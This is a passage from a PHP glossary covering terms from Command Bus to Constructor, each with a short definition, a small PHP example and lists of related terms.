A command bus is a design pattern used in software development, particularly in the context of Domain-Driven Design, DDD, and CQRS, Command Query Responsibility Segregation. It helps to decouple the sender of a command from its handler, allowing for better separation of concerns and improving the overall architecture of the application.
A command bus works together with commands and command handlers.
Here’s a simplified overview of how a command bus works:
- The sender, e.g., a controller in a web application, creates a command object and sends it to the command bus
- The command bus examines the command object and identifies the appropriate command handler based on the type of the command
- The command bus dispatches the command to the identified command handler
- The command handler processes the command and performs the required actions.
See Also
Related
Related packages
Command
The Command design pattern encapsulates a request as an object, allowing it to be stored, queued, logged, or undone. A command object contains all the information needed to execute an action: the receiver, the method to call, and any parameters.
The Command pattern separates the object that invokes an operation from the object that knows how to perform it. It is widely used in:
- CLI applications: each CLI command is an object with an
execute()method. - CQRS architectures: write operations are represented as command objects dispatched through a command bus.
- Undo/redo systems: commands store enough state to reverse their effect.
- Task queues: serialized command objects are placed on a queue and processed asynchronously.
Symfony Console and Laravel Artisan both build on this pattern for their CLI command systems.
<?php
interface Command {
public function execute(): void;
}
class CreateUserCommand implements Command {
public function __construct(
private string $email,
private string $password,
) {}
public function execute(): void {
// Create user logic
echo "Creating user: {$this->email}" . PHP_EOL;
}
}
class CommandBus {
public function dispatch(Command $command): void {
$command->execute();
}
}
$bus = new CommandBus();
$bus->dispatch(new CreateUserCommand('user@example.com', 'secret'));
?>
See Also
Related
- Command Bus
- Command Query Responsibility Segregation (CQRS)
- Design Pattern
- Command Line Interface (CLI)
- Expression
- Instruction
Comments
PHP comments are used to add explanatory notes or annotations within the code. Comments are not executed by the PHP interpreter; they are purely for documentation purposes, and they help the readers understand the code better. PHP supports two main types of comments:
Single-line comments: these are comments that span only one line. They are typically used for brief explanations or annotations within the code. Single-line comments can be created using either double slashes // or a hash symbol #.
Multi-line comments: these are comments that can span multiple lines, allowing for more extensive explanations or commenting out large sections of code. Multi-line comments are enclosed within /* and */.
It’s important to note that comments do not affect the execution of the PHP code; they are ignored by the PHP interpreter: in fact, they are omitted at parsing time, before execution. Comments are primarily for developers and maintainers of the code to understand its purpose, logic, or any special considerations. Well-documented code with meaningful comments can make it easier to read, understand, and maintain applications.
Comments may be formalized with a specific syntax, and create automated instruction for other application. For example, phpdoc comments are providing extra information with a specific syntax.
As a side feature, comments may also be started with the Unicode #️⃣️ character.
<?php
// This is a single-line comment
$variable = 42; // Assign a value to $variable
# Another single-line comment
/*
This is a multi-line comment.
It can span multiple lines and is often used for
longer explanations or for commenting out sections of code.
*/
$variable = 43;
#️⃣️ One line comment
?>
See Also
Related
Commit
A commit is a validation of changes.
- Commit in VCS: when the source code has been modified and may be changed in the main code base as an atomic diff
- Commit in Database: when data have been checked and changed in the database, and the change may be stored and propagated to all other operations.
Related
- VCS Commit
- Database Commit
- Concurent Version System (CVS)
- Pull Request (PR)
- Version Control System (VCS)
- Worktree
Community
The PHP community is the global network of developers, contributors, and enthusiasts who use, improve, and promote PHP.
The community is known for its collaboration, innovation, and inclusivity, making PHP one of the most widely used languages for web development.
The community is recognizable via its various artefact, which go beyond the computer circles: logos, T-shirt, plush toys, legends, events, news stories, recurrent themes, think tanks, speakers, side projects, etc.
See Also
Related
Compact Array
An array is compact, or a packed array, if it only uses automated indices, starting with 0. This doesn’t really show in the written code, though performances are better for some operations.
Such array’s status may be reached by using array_values() or array_keys() on the array: such functions reindexes the values in the array.
This notion is not related to the compact() function.
<?php
$array = [1,2,3];
$notCompact = [1,2,3, 4=>4];
$compactAgain = array_values($notCompact);
?>
See Also
Related
compact()
compact() is a native PHP function, which creates an array containing variables and their values, from a list of variable names.
It is the opposite of extract().
<?php
$a = '1';
$b = '2';
$array = compact('a', 'b');
// ['a' => 1, 'b' => 2];
?>
See Also
Related
Comparison
Comparison operators check how two values relate to each other. They may be equal or different, and, depending on the type of compared data, they may be greater or lesser than the other one.
PHP comparisons exists with type-juggling, ==, <>, <=>, switch() and !=, and with type checks, match(), === and !==. They are called loose comparison, as PHP applies some cast before executing the comparison. Inequalities only exist with type-juggling.
On the other hand, PHP has strict comparisons, which include comparing the type before running any further checks. They are === and !==.
There are also functions dedicated to comparisons, with specific applications: strcmp(), strcasecmp(), strnatcasecmp(), strcoll(), similar_text(), levensthein(), bccomp(), version_compare(), hash_equals().
Some of the functions include a loose or a strict version.
<?php
if ($a == $b) {
print 'a and b are equal';
}
?>
See Also
Related
- Operators
- Type Juggling
- Switch
- Match
- Spaceship Operator
- Magic Hash
- Truthy
- Underscore
- zero
- Identity Comparison
- Relaxed Comparison
- array_keys()
- Double Arrow
- Triple
Compatibility
Compatibility refers to the ability of two or more things to work together without conflicts or issues.
Compatibility may refer to:
- Version compatibility, when code works in both versions
- System compatibility, when code works on different operating systems
- Method compatibility, when methods are compatible in the parent and the child class.
<?php
class Elephpant {
function trumpet(int $trunk) {}
}
class AfricanElephpant extends Elephpant {
// The type must be compatible with the one of the parent
// The name does not have to be the same as in the parent
function trumpet(int|null $tusk) {}
}
?>
See Also
Related
Compensation Logic
Compensation logic, also called a compensating transaction or saga compensation, refers to the set of actions taken to undo or neutralise the effects of a previously completed step when a subsequent step in a distributed process fails. It is the rollback mechanism for operations that cannot be part of a single ACID transaction.
The concept originates in the Saga pattern: a long-running business process is split into a sequence of local transactions. If transaction N fails, compensation transactions are executed in reverse order, N-1, N-2, … to restore the system to a consistent state. Compensation is not always a perfect undo, a sent email cannot be unsent, a payment refunded is not the same as a payment never made.
Because compensation logic is domain-specific, it must be designed and tested explicitly. The failure modes of compensation steps themselves must also be handled.
Compensation logic is typically implemented as event handlers or command handlers that react to failure events published by downstream services.
<?php
// Compensation handler: listens for PaymentFailed and cancels the order
class CancelOrderOnPaymentFailed {
public function __construct(
private OrderRepository $orders,
private EventBus $bus,
) {}
public function handle(PaymentFailed $event): void {
$order = $this->orders->findById($event->orderId);
if ($order === null || $order->isCancelled()) {
return; // idempotent: safe to call multiple times
}
$order->cancel(reason: 'payment_failed');
$this->orders->save($order);
$this->bus->publish(new OrderCancelled($order->id));
}
}
?>
See Also
- Saga Pattern on AWS - Distributed Transactions with Compensation
- Saga distributed transactions pattern
Related
Compile-time Evaluation
Compile-time evaluation is the ability of a compiler to execute expressions or functions during compilation, embedding the computed result directly in the compiled output rather than deferring it to runtime. C++ constexpr in C++11+ allows functions and variables to be evaluated at compile time when their inputs are compile-time constants. Zig’s comptime keyword forces evaluation at compile time. Rust evaluates const fn calls in constant contexts. D calls the equivalent feature CTFE: Compile-Time Function Evaluation. In all cases, the intent is to move computation earlier, eliminating runtime overhead and enabling richer static guarantees.
PHP is an interpreted language. PHP source code is compiled to opcodes on every request, or cached by opcache, but there is no ahead-of-time compilation phase that evaluates user-defined functions. PHP does perform limited compile-time optimisations:
- Constant folding: simple arithmetic and string concatenation on literal values, like
60 * 60,'foo' . 'bar'is folded to a single value by the parser/optimiser before the opcode is emitted. constdeclarations: scalar constant values are resolved at compile time. Constant expressions composed of other constantsA * Bare also folded.Opcache: caches the compiled opcode representation, avoiding repeated parsing, but does not evaluate user functions at cache time.- JIT, PHP 8.0+: the Just-In-Time compiler can optimise hot paths at runtime, but this is runtime specialisation, not compile-time evaluation.
No PHP mechanism allows a user-defined function to be annotated as evaluable at compile time, and no result of such evaluation can be used as a class constant, a default parameter value, or an attribute argument.
<?php
// PHP folds constant arithmetic expressions at compile time (parser level).
const SECONDS_PER_MINUTE = 60;
const SECONDS_PER_HOUR = SECONDS_PER_MINUTE * 60; // folded to 3600
const SECONDS_PER_DAY = SECONDS_PER_HOUR * 24; // folded to 86400
// Enum backed values are constant expressions: also folded.
enum Permission: int {
case Read = 1 << 0; // 1
case Write = 1 << 1; // 2
case Execute = 1 << 2; // 4
}
// The following is NOT possible in PHP: functions cannot be constexpr:
//
// constexpr function factorial(int $n): int {
// return $n <= 1 ? 1 : $n * factorial($n - 1);
// }
// const FACT_10 = factorial(10); // evaluated at compile time
//
// In PHP, factorial(10) is always evaluated at runtime.
function factorial(int $n): int {
return $n <= 1 ? 1 : $n * factorial($n - 1);
}
echo factorial(10); // computed at runtime every call
?>
See Also
Related
- Const
- Constants
- Opcache
- Just In Time (JIT)
- Template Metaprogramming (TMP)
- Metaprogramming
- Constant Expression
- Enumeration (enum)
- Compiler Optimized Function
Compile Time
Compile time, also called lint time or linting time, is a phase of PHP processing, where the source code is transformed into execution commands.
At that time, PHP figures out the syntax and code organisation, and also validates some aspects of the code, depending on the information availability. The information availability may depend on execution: for example, PHP validates interfaces when they are in the same file as the implementing class, but not when they are in different files, as autoloading needs to happen.
In particular, during compile time, PHP has only visibility on the current constant definitions: no inclusion, no define(). It has no result from any function call, or variables.
Compile time is related to execution time and late static binding. Attributes, default values, constants, with const, are fully compile time structures.
<?php
const S = 'abc';
class y {
const T = 'abc';
const string U = z::A ? '2' : 'abc'; // PHP waits for z
}
class x {
private int $a = S; // execution time
//private int $b = y::T; // compile time error
private int $c = y::U; // execution time error
}
?>
See Also
Related
Compile
To compile, compiling, or compilation, is the process to turn the source code into machine code for direct execution, producing compiled code.
Generally speaking, PHP is interpreted, so its code is directly run by the PHP engine. It is initially linted, for syntax correctness, then converted into opcodes, which are run by the engine.
Some tools convert PHP directly to a binary, such as KPHP.
There are tools to convert PHP into a binary file, such as static-php-cli or roadrunner. These solutions merge the PHP engine with the target code.
Other tools transpile PHP code to another language, such as Rust or .NET, and then, compile it to a binary file. These are not common approaches.
See Also
Related
- Linting
- Interpreted
- Ahead Of Time
- __halt_compiler()
- Just In Time (JIT)
- Transpile
- Virtual Machine (VM)
- Artifact
- Monomorphization
- Order Of Execution
Compiler Optimized Function
A compiler optimized function is one of a fixed list of native functions that the Zend compiler recognizes by name at compile time, and turns into a dedicated, specialized opcode sequence instead of a generic function call. Because these functions are called extremely often (count(), is_array(), in_array(), strlen()…), skipping the usual INIT_FCALL / SEND_VAL / DO_FCALL machinery removes call overhead and lets the VM execute a shorter, more direct set of instructions.
This optimization only applies when every condition is met:
- The call is a direct, literal call:
count($a), not a variable function call like$f($a)or'count'($a). - The function has not been redeclared or disabled (
disable_functions): if the resolved function is not the original internal one, the compiler falls back to a normal call, so a polyfill or override always takes effect. - Arguments are not spread (
...) or named:count(...$args)andcount(value: $a)both bypass the optimization. - The
ZEND_COMPILE_NO_BUILTINScompiler flag is not set (this flag is used in a few contexts, such as someeval()internals, to force plain calls).
As of PHP 8.5, the functions eligible for this treatment are: strlen, is_null, is_bool, is_long/is_int/is_integer, is_float/is_double, is_string, is_array, is_object, is_resource, is_scalar, boolval, intval, floatval/doubleval, strval, defined, chr, ord, call_user_func_array, call_user_func, in_array, count/sizeof, get_class, get_called_class, gettype, func_num_args, func_get_args, array_slice, and array_key_exists. assert() also receives dedicated compile-time handling, though through a separate code path, so that it can be stripped entirely when assertions are disabled.
This list is an implementation detail of the Zend Engine: it changes between PHP versions as functions are added or removed from it, and it is not part of the language specification. It has no direct impact on the code semantics, only on the emitted opcodes and, therefore, on performance.
<?php
$array = [1, 2, 3];
// Compiled to a dedicated COUNT opcode: fast path.
echo count($array);
// Still a plain function call: the compiler cannot special-case
// an indirect / dynamic call.
$fn = 'count';
echo $fn($array);
// Also a plain function call: named arguments disable the shortcut.
echo count(value: $array);
// If count() is redefined (e.g. via a polyfill after disable_functions),
// every call to it, direct or not, uses the redefinition instead of
// the optimized opcode.
?>
See Also
Related
- Compiler
- Compile Time
- Compile-time Evaluation
- Opcache
- Just In Time (JIT)
- Disable Functions
- in_array()
- count()
- get_class()
- gettype()
- func_get_args()
- array_slice()
- array_key_exists()
- defined()
Compiler
A compiler is a program that performs compilation: it translates source code into another form, typically machine code or bytecode.
The term compiler can refer to:
- The PHP compiler that translates PHP source code into opcodes
- Tools like KPHP or static-php-cli that compile PHP to binary
- The halt-compiler construct that signals end of PHP code in a file
- The PHP-Parser library which provides a compiler-like AST transformation.
See Also
Related
- Compile
- Transpile
- Ahead Of Time
- Just In Time (JIT)
- Opcode
- Abstract Syntactic Tree (AST)
- __halt_compiler()
- Interpreted
- Hoisting
- Multi-pass Algorithm
- phpinfo()
- Source Code
- Ternary Operator
- Tokenizer
- Compiler Optimized Function
Complexity
Complexity refers to how difficult the code is to understand, maintain, test, and modify. It may be objectively measured, but also subjectively estimated.
Complexity is measured with cyclomatic complexity, cognitive complexity, algorithmic complexity.
Complexity increases when:
- Code takes many decisions in one context
- Logic is deeply nested
- Responsibilities are mixed and matched
- Behavior is not obvious, and includes magic
- Code is not readable
- Naming is confusing
Non-complex code tends to:
- Have small functions
- Clear naming
- Limited branching
- Avoid exploding combinations as much as possible
Code complexity applies to all programming languages, and is not specific to PHP.
See Also
Related
Related packages
Compliance
Compliance generally refers to adhering to a set of predefined rules, standards, or regulations. These can range from coding style guides and interoperability standards to legal requirements, like GDPR, or security mandates, like OWASP. They may also be standards set up in house, or tacitly accepted without being written.
See Also
- Everything You Need to Know About Maintaining PHP Compliance
- PHP: A Complete Due-Diligence Assessment Guide
Related
Component
A component is a part or element that combines with others to form a larger system, structure, or product. Components are code libraries, or groups of classes that work together.
See Also
Related
Composer
Composer is the most popular package manager for PHP.
Composer install and update packages, which are stored on the packagist website.
Composer is the work of Jordi Boggiano and Nils Adermann.
See Also
- How to Install and Use Composer: A Comprehensive Guide
- New composer audit Command and security audits in Composer 2.4
- The Quiet Shift Reshaping PHP Security
- composer-unused
Related
- composer\.json
- composer\.lock
- Packagist
- Dependency
- PEAR
- PHP Installer For Extensions (PIE)
- Supply Chain
- Library
- Package Manager
- Proprietary Source
- Tool
- Marketplace
- Build
- Git Hook
- Greenfield
- Makefile
composer.json
composer.json is the manifest file that Composer reads to manage a PHP project’s dependencies. It lives at the root of the project and declares, among other things, the runtime dependencies under require, the development-only dependencies under require-dev, the autoload mapping used to generate the class autoloader, and any custom scripts that can be run with composer run.
Version constraints in require follow semantic versioning ranges, such as ^2.0 or ~1.4, rather than pinning an exact version; the exact versions actually installed are recorded separately, in composer.lock.
composer.json is meant to be hand-edited, or edited through commands like composer require, and is committed to version control. It is distinct from composer.lock, which Composer generates and should not be edited by hand.
{
"name": "acme/example",
"require": {
"php": ">=8.1",
"monolog/monolog": "^3.0"
},
"require-dev": {
"phpunit/phpunit": "^10.0"
},
"autoload": {
"psr-4": {
"Acme\\Example\\": "src/"
}
}
}
See Also
Related
- Composer
- composer\.lock
- JavaScript Object Notation (JSON)
- Packagist
- Class Autoloading
- Semantic Versioning
- Dependency
- PHP Standards Recommendations (PSR)
composer.lock
composer.lock is the file Composer generates after resolving the version constraints declared in composer.json. It records the exact package versions, and their exact commit or distribution hash, that were actually installed, so that running composer install on another machine, or in CI, or in production, reproduces the exact same dependency tree, rather than re-resolving constraints and possibly picking up newer releases.
composer.lock is generated by Composer and should not be edited by hand. It is updated automatically whenever composer update is run, or whenever composer require/composer remove changes composer.json.
For applications, composer.lock is generally committed to version control, so every environment installs identical versions. For libraries, whose consumers resolve their own dependency tree, it is common to leave it out of version control instead.
See Also
Related
- Composer
- composer\.json
- Semantic Versioning
- Dependency
- Determinism
- Supply Chain
- Version Control System (VCS)
Composite Type
Composite types combine multiple types into a single type expression. PHP supports three forms of composite types:
- Union types
A|B: the value must satisfy at least one of the listed types. Introduced in version 8.0, withcatchclauses supporting multi-type syntax since PHP 7.1. - Intersection types
A&B: the value must satisfy all of the listed types simultaneously. Restricted to class and interface names. Introduced in version 8.1. - DNF types
(A&B)|C: disjunctive normal form, which combines intersections and unions. Introduced in version 8.2.
Composite types are accepted in parameter types, property types, and return types. catch clauses accept union types only. instanceof does not accept any composite form.
<?php
// Union type
function trumpet(int|string $id): void {}
// Intersection type
function forage(Countable&Iterator $col): void {}
// DNF type
function migrate((Countable&Iterator)|null $col): void {}
?>
See Also
Related
- Union Type
- Intersection Type
- Disjunctive Normal Form (DNF)
- Named Type
- Type System
- Property Type Declaration
- Return Type
- Parameter
Composition
Composition is the creation of new classes, by including other classes, and delivering a specific interface over them. It expresses a has-a relationship, as opposed to inheritance’s is-a relationship: a class holds references to other objects as properties, and delegates part of its behavior to them, rather than inheriting it from a parent class. This favors loose coupling, since the composing class can expose only the methods it chooses, while the composed objects can be swapped, reused, or tested independently. Favor composition over inheritance is a well-known object-oriented design guideline, because it avoids the rigid, fragile class hierarchies that deep inheritance chains tend to produce.
<?php
class Wheel {
public int $diameter;
}
class GasTank {
public int $capacity;
public function fillUp(int $amount) {
$this->amount = $amount;
}
public function empty() {
$this->amount = 0;
}
}
// Car composes 2 other classes: GasTank and Wheel
// These object should be accessed via the Car class, not the direct objects
class Car {
public Wheel $wheels;
public GasTank $gasTank;
public function fillUp(int $amount) {
$this->gasTank->fillUp($amount);
}
// empty() the gasTank is now available via the car (just drive it, or and it to garage)
}
?>
See Also
Related
Compression
Compression is the representation of data in a format that uses less space that the original raw data.
A compression algorithm must provide a way to compress data, and a way to uncompress it, and give access to the original data.
There are lossless compression, which can provide the exact original data, for text, and lossy compression which degrades the original data for images, video.
PHP supports compression via zip, rar, zlib, bzip2, brotli, etc.
See Also
Related
Computed Property
A computed property is a property whose value is derived from an expression at the point of access, with no explicit getter method in user code. The computation is declared inline with the property itself, and the language runtime invokes it transparently when the property is read.
Languages such as Swift, Kotlin, and C# offer computed properties as a first-class syntax:
- In Swift,
var area: Double { width * height }defines a read-only computed property. - In C#,
public int Area => Width * Height;uses an expression-bodied property. - In Kotlin,
val area get() = width * heightattaches a getter expression directly to the declaration.
In all these cases the computation is expressed as part of the property declaration, not as a separate method the programmer must name and call.
PHP does not support computed properties natively. PHP 8.4 introduced property hooks, with get and set, which come close: they attach getter and setter logic to a property declaration. However, property hooks still require explicit block or arrow syntax inside the property body and are closer to accessor methods than to the lightweight expr-body computed properties found in Swift or Kotlin.
Before PHP 8.4, the only option was a dedicated getter method, e.g. getArea(), which is a named method, not a property.
<?php
// PHP 8.4 property hook: closest available approximation.
class Rectangle {
public function __construct(
public float $width,
public float $height,
) {}
// get hook — behaves like a computed property, but requires
// explicit hook syntax rather than a bare expression.
public float $area {
get => $this->width * $this->height;
}
}
$r = new Rectangle(3.0, 4.0);
echo $r->area; // 12.0
// Before PHP 8.4, a dedicated method was the only option:
// public function getArea(): float { return $this->width * $this->height; }
?>
See Also
Related
Concatenation .
Concatenation is the PHP feature that appends two strings together, to make a third, longer one.
Concatenation is also achieved with interpolation, inside a string; by calling echo, multiple times or with multiple arguments; by using the join() function.
Concatenation is done with the dot operator ..
<?php
$a = "world";
$b = "Hello ";
echo $b . $a;
// displays Hello world
?>
See Also
Related
Concatenative
A concatenative structure is a structure that is valid after placing values one after the other.
For example, strings are concatenative, using the . dot operator. On the other hand, JSON is not concatenative, as two JSON strings placed one after the other does not create a valid JSON.
There are concatenative programming languages, and natural languages.
<?php
$fullName = 'John' . ' ' . 'Doe';
?>
See Also
Related
Concrete Method
A concrete method is a method that has code. It is usually the opposite of an abstract method.
A concrete method may be part of an abstract class or not. It may also be overwritten, in a child class, though it is not compulsory, no always the case.
Interfaces cannot have concrete methods.
<?php
abstract class AbstractClass {
abstract function trumpet(); // abstract method
function forage() {
return 1;
} // concrete method
}
class ConcreteClass extends AbstractClass{
function trumpet() {
return 2;
} // concrete method
// No need to redefine the concrete methods.
// Yet, it is still possible
}
?>
See Also
Related
Concrete Class
The contrary to abstract is concrete. PHP has abstract classes and methods. This is the default state of a method or class, when it has a code block with implementation. It also has no specific keyword to designate it.
<?php
abstract class AbstractClass
{
// Concrete method
public function printOut() {
print $this->getValue() . "\n";
}
// Method without an implementation
abstract protected function getValue();
}
?>
See Also
Related
Concurrency
Concurrency, sometimes misspelled concurency, is a concept in computing where multiple tasks are in progress at the same time.
PHP uses several ways to handle concurrency:
- Externally, by the webserver or PHP-fpm
- Internally, with forked processes, with pcntl
- Internally, with threads, with parallel
- Cooperating, with fibers
- Non-blocking IO, with swoole or amphp.
See Also
- Understanding Concurrency in PHP
- Understanding Fibers in PHP: A New Way to Handle Concurrency
- PHP is 5x Faster Than NestJS? Rethinking High-Load with Swoole
Related
- Thread
- Process
- Asynchronous
- FastCGI Process Manager (FPM)
- Atomic Operation
- file_put_contents()
- Mutex
- Race Condition
- Actor Model
- Cache Stampede
- Green Thread
- Software Transactional Memory (STM)
- Asynchronous Markup Protocol (AMP)
- ReactPHP
- Semaphore
- Shared Memory
- Shared
Condition
Conditions are an expression that are either true or false.
They are used in conditional statement, to determine which code to process next.
There are conditions in conditional statements, such as if(), switch() and match(). There are conditions in loops, to determine if the loop shall continue or not: in for(), do-while() and while().
Conditions are expressed with comparisons operators. They are also expressed with raw data, which are converted to boolean, thanks to type-juggling.
See Also
Related
Conditional Structures
Conditional structures are instructions which run different code, based on a condition.
This includes if-elseif-then, switch(), match(), the ternary operators ? ... : and ?: and the coalesce operator ??.
<?php
if (!function_exists('trumpet')) {
function trumpet() {
// doSomething
}
}
?>
See Also
Related
Conditional
Conditional means that some condition must be met for something to happen or to be. While conditions are used everywhere in code, some syntax are seen as fixed, but may be conditioned too.
- Constant value: constant definitions, both global and class, may use the ternary operator and have a value depending on the context of execution.
- Definition: old technique used to include definitions of classes, functions, etc. depending on versions. This is now replaced by holding all definitions in different namespaces: the namespace are conditionally used.
- Constant definition: when specifying a global constant with
const, the definition cannot be conditional: it cannot be set in aif-thenblock, or any other block, including functions or closures.
<?php
// Conditioned constant value
const A = PHP_OS == 'Linux' ? 'PHP On Linux' : 'PHP Not On Linux';
if (PHP_OS == 'Linux') {
// This is a syntax error
const B = 1;
}
?>
See Also
Related
Conditioned Structures
Conditioned structures are definitions that are placed inside a condition structure.
For example, it is possible to create a function or a class, only if it doesn’t exist.
Classes, traits, interfaces, global constants, with define(), enumerations, functions may be conditioned.
Class constants, properties, methods and cases, for enum, cannot be conditioned.
Conditioned structures adapt the PHP context to external condition. For example, some function may become native after a specific PHP version, and is only redefined for older installation.
Some structures do not accept condition, such as global constants with const keyword. With define() function, it is OK.
<?php
if (!function_exists('trumpet')) {
function trumpet() {
// doSomething
}
}
?>
See Also
Related
Configuration
Configuration is a set of data that conditions the execution of the program.
Generally, configuration isn’t changed during the execution of the program.
PHP has three locations for configuration: php.ini, .htaccess and usage of the ini_set() functions.
Each item of configuration is called a directive.
See Also
Related
- Directives
- File
- php\.ini
- Convention
- Data Source Name (DSN)
- Feature Flag
- Flag
- Magic
- Hard Coded
- \.htaccess
- Option
Connection Pool
A connection pool, or connection pooling, is a set of pre-established, reusable connections, most often to a database or another network service, that are handed out to callers on demand and returned to the pool instead of being closed after use. Pooling avoids paying the cost of establishing a new TCP connection, and possibly a new TLS and authentication handshake, on every single request, and it caps how many connections to a given dependency may be open at once.
That cap is itself a resilience mechanism: it acts as a bulkhead, preventing a burst of traffic, or a slow dependency, from opening unbounded numbers of connections and exhausting the dependency’s own connection limit, file descriptors, or memory. When the pool is exhausted, callers either wait, up to a configured timeout, or fail fast, depending on how the pool is configured.
Traditional PHP, being a share-nothing, one-request-per-process model, cannot keep a connection pool alive in application memory across requests the way a long-running process in another language would: each PHP-FPM worker opens its own connections, and true pooling across workers requires an external pooler such as PgBouncer for PostgreSQL, ProxySQL for MySQL, or a persistent connection, PDO::ATTR_PERSISTENT, kept open by the underlying process across requests within the same worker. Long-running PHP processes, such as Swoole, RoadRunner, or a queue worker, can maintain an in-memory pool for their entire lifetime, closer to how connection pools work in other languages.
<?php
// Persistent PDO connection, reused across requests handled by the same worker
$pdo = new PDO($dsn, $user, $password, [
PDO::ATTR_PERSISTENT => true,
]);
?>
See Also
Related
- Bulkhead
- Resilience
- PHP Data Objects (PDO)
- Relational DataBase Management System (RDBMS)
- Timeout
- Fault Isolation
Connection
Connection, or connexion in French, refers to the communication link established between a running instance of PHP and a remote server.
The connection may be established with different kind of servers: web, SQL, NoSQL, FTP, etc.
The connection may be protected by a login and password, or other identification and authentication methods.
Once the connection is established, PHP sends queries to the remote server, and receives results set.
The remote server may be on the same physical machine as PHP: it is considered remote as it acts autonomously.
See Also
Related
Connexion Persistence
Connexion persistence refers to the practice of reusing the same database connection across multiple requests, rather than opening and closing a connection for each individual request. This is typically achieved using persistent connections, also called a persistent connexion.
See Also
Related
Consistency
Consistency means writing code that follows predictable patterns, standards, and conventions across a project or team. The reference may be public, and available throughout the community, or local, and specific to a project or a team.
Consistency ensures that:
- Code behaves the same way in similar situations
- Style and structure are uniform, making it easier to read and maintain
- Team members can collaborate without confusion.
See Also
Related
Const
const is a PHP keyword, that creates constant definitions.
const is allowed inside classes, interfaces, enumerations and traits, to create static constants. const is also allowed in the global scope, to create global constants.
const is only allowed in the body of a classes, interfaces, enumerations and traits, and the first level of a main file. It is not possible to create conditioned constants with a if-then structure and const: this requires an include.
<?php if ($a == 5): ?>
A is equal to 5
<?php endif; ?>
See Also
Related
- Class
- Trait
- define()
- defined()
- Conditioned Structures
- Static Constant
- include
- Conditional
- Execution Time
- Compile-time Evaluation
- Lvalue
- Macro
- Template Metaprogramming (TMP)
Constant Case
Constant case, also written CONSTANT_CASE, is a way of writing constant names, without spaces. The rules are:
- All the letters are set to upper case
- Each word is separated from the other by an underscore
Constant case is used for constants, both global and class. It is not used for magic constants, which are case insensitive.
<?php
const CONSTANT_CASE = 1;
class Elephpant {
const CLASS_CONSTANT_CASE = 1;
function trumpet() {
echo __METHOD__;
echo __method__; // same as above
}
}
?>
See Also
Related
Constant Combination
PHP combines predefined constants using bitwise operators. This is heavily used with error level constants, file permissions, and various flags.
Combine two constants into one, with the | or operator: E_NOTICE | E_WARNING. This might also be achieved with + operator.
Check if a flag is set, with the & and operator: E_ALL | E_WARNING.
Exclude one flag, with the ~ tilde operator: E_ALL & ~E_WARNING.
Toggle flags, with the ^xor operator: E_ALL ^ E_WARNING.
These combinations are possible when the constants are distinct powers of 2. That way, combining E_WARNING = 2 // 0010 and E_NOTICE = 8 // 1000 gives E_WARNING | E_NOTICE = 10 // 1010 (both bits set).
Constant combination is used with such functions as error_reporting(), phpcredits(), htmlentities(), sort() though not with all constants, etc.
<?php
// Combine multiple error levels
error_reporting(E_NOTICE | E_WARNING | E_ERROR);
// More common: start from ALL and exclude some
error_reporting(E_ALL & ~E_DEPRECATED & ~E_NOTICE);
// -1 represents a flag with ALL activated
error_reporting(-1);
?>
See Also
Related
Constant Expression
A constant expression is an expression built with others constants and a limited subset of PHP operators. They can be used as a value for constants of default values.
<?php
const A = 1;
const B = A + 1;
?>
See Also
Related
constant()
The constant() function is a native function, which provide the value of a declared global constant, a class constant or an enumeration case.
For class constant and enumeration cases, it may be replaced with the dynamic class constant syntax, introduced in version 8.3.
<?php
const A = 1;
echo constant('A');
enum E: string {
case B = 'abc';
const C = 'def';
}
echo constant('E::B')->value; // abc
echo constant('E::C'); // def
?>
See Also
Related
Constants In Trait
Constants were added to trait in version 8.3. Before that, they were not allowed.
After PHP 8.3, they are added to the host class, with less precedence than the host own constants, but higher precedence than the host parent’s constants.
It is not possible to call a trait constant directly via its trait’s name: this has to be done via the host class.
<?php
trait Trunk {
private const HABITAT = 1;
}
class Elephpant {
use Trunk;
}
echo HABITAT::Trunk;
?>
See Also
Related
Constant Scalar Expression
A constant scalar expression is an expression that can be evaluated at compile time and consists only of scalar values, constants, and some operators operators.
Constant scalar expressions are used to initialize constants, and default values for parameters and properties.
<?php
const A = 1;
const B = A + 10;
?>
See Also
Related
Constants
Constants are named values, that never change.
Constants may be created with the const keyword or the define() function. They may be tested for existence with the defined() function.
There are global constants, which are accessible with their name and their namespaces. There are also constants in classes, interfaces, enums and traits. Those are called class constant.
Constants are namespace dependent. They can be imported using the use const command.
Constants are usually written in uppercase.
Global constants used to be case insensitive, when created with define(). This feature was removed in version 8.0. Nowadays, both const and define create case insensitive values.
<?php
const A = 1;
define('B', 2);
// displays 1
echo A;
?>
See Also
Related
- Static Constant
- Centralization
- Constant Scalar Expression
- Dynamic Constant
- New In Initializers
- Predefined Constants
- Class Constant Syntax
- Constant Case
- define()
- Literal
- Anonymous Constant
- DIRECTORY_SEPARATOR
- Dynamic Class Constant
- Hard Coded
- Magic Numbers
- Order Of Execution
- Compile-time Evaluation
- Constant Expression
- Magic Values
- PHP_EOL
Constraint
A constraint is a syntactic or semantic restriction on how a language construct may be used. Constraints are the rules a program must satisfy beyond mere grammatical correctness: for example, a break statement is only valid inside a loop or switch, and a class marked final cannot be extended.
Violating a constraint typically produces a compile-time error, though some constraints are only checked at run time. Code that violates a constraint the engine does not check at all is a common source of undefined behavior.
<?php
final class Sealed {}
// violates a constraint: a final class cannot be extended
class Broken extends Sealed {}
?>
See Also
Related
Constructor Property Promotion
Constructor property promotion lets a class declare its properties directly in the constructor signature. Adding a visibility modifier, such as public, protected or private, to a constructor parameter declares a property with that name and assigns the argument to it.
Before PHP 8.0, the same class needed a property declaration, a parameter and an assignment for each value. Promotion removes the repetition:
class Client { public function __construct(private string $token, private int $timeout = 10) {} }
The promoted parameters can have default values, types and readonly. Promotion works well with dependency injection, where a class receives its dependencies in the constructor.
<?php
class Client {
public function __construct(
private readonly string $token,
private int $timeout = 10,
) {}
}
See Also
Related
Constructor
The constructor is a magic method in a class, which is called at instantiation of an object, with the provided arguments. It is called __construct.
The constructor is an optional method: a class may be created without it. Though, it is very common to have it.
Parent’s constructor are not automatically called, when a child class defines a constructor. They have to be called explicitly.
When a class has a parent, with a constructor, and not constructor itself, then the parent constructor is automatically called, by inheritance.
A constructor may have a visibility, and be not available to the outside. In particular, when creating named constructors, the magic method __construct is usually made private and object instantiation happens in a static method of that same class.
<?php
class Elephpant {
private $trunkLength;
function __construct($value) {
$this->trunkLength = $value;
}
}
$elephpant = new Elephpant(1);
?>
See Also
- What and Why We Should Use PHP Constructors
- PHP OOP Constructor: How It Works in a Class with Examples
- Constructor in PHP: Syntax, Types, Examples
Related
Container Orchestration
